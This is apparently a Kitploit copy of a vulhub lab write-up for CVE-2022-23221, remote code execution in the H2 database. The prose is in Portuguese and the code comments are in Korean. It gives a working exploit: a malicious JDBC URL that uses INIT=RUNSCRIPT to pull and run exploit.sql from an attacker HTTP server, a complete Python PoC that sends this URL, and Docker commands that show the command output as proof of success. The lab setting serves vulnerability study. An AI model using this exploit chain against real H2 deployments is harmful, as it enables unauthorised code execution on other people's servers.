H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

Cenário
- Configura-se um ambiente H2 vulnerável e insere-se uma URL JDBC maliciosa no H2. O H2 analisa essa URL sem validação adequada e baixa/executa o arquivo SQL do servidor attacker. Se no log do servidor h2-vulnerable forem exibidos a string “EXPLOITED” e os resultados dos comandos id, whoami e pwd, isso significa que o ambiente H2 vulnerável foi configurado e que o arquivo exploit.sql foi baixado e executado remotamente a partir do servidor attacker durante o processo de análise da URL JDBC maliciosa.
Configuração do ambiente
```
docker compose up -d 
```
- A execução do comando inicia os seguintes ambientes:
- h2-vulnerable: H2 2.0.206 (versão vulnerável anterior ao patch)
  - H2 Web Console: http://your-ip:8082
  - Servidor TCP: tcp://your-ip:9092
- attacker: servidor HTTP
  - http://your-ip:8000 : fornece o arquivo exploit.sql
Após a configuração, acesse http://your-ip:8082 para ver a página web do H2.

URL JDBC normal: "jdbc:h2:mem:test"

Comando de solicitação normal

docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""

Resultado da execução
- Nenhuma requisição recebida no servidor attacker
- Nenhum log relevante exibido no servidor h2-vulnerable

Insira a URL JDBC maliciosa no driver H2 para tentar a conexão com o servidor attacker. Há duas maneiras de inserir a URL:

Inserir diretamente a URL JDBC maliciosa no H2 Shell por meio da CLI.

docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
  -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
  -user sa \
  -password ""

CLI 기반 실행

Executar o arquivo PoC.

python3 poc.py

poc.py 실행

O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker, conforme INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado no parâmetro INIT da URL JDBC, e o executa dentro do banco de dados H2.
1. Execute docker logs attacker para ver os logs das solicitações do arquivo exploit.sql recebidas do servidor h2-vulnerable.
```
docker logs attacker
```
1. O servidor attacker retorna o arquivo exploit.sql solicitado, e o servidor h2-vulnerable executa o arquivo recebido. Nesse momento, a instrução CREATE ALIAS dentro do script induz a execução de código Java, resultando em RCE.

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()

Como resultado da execução do arquivo exploit.sql, os logs do servidor h2-vulnerable exibem a string “EXPLOITED” juntamente com os resultados dos comandos id, whoami e pwd.
É possível verificar os logs com docker logs h2-vulnerable.
```
docker logs h2-vulnerable`
```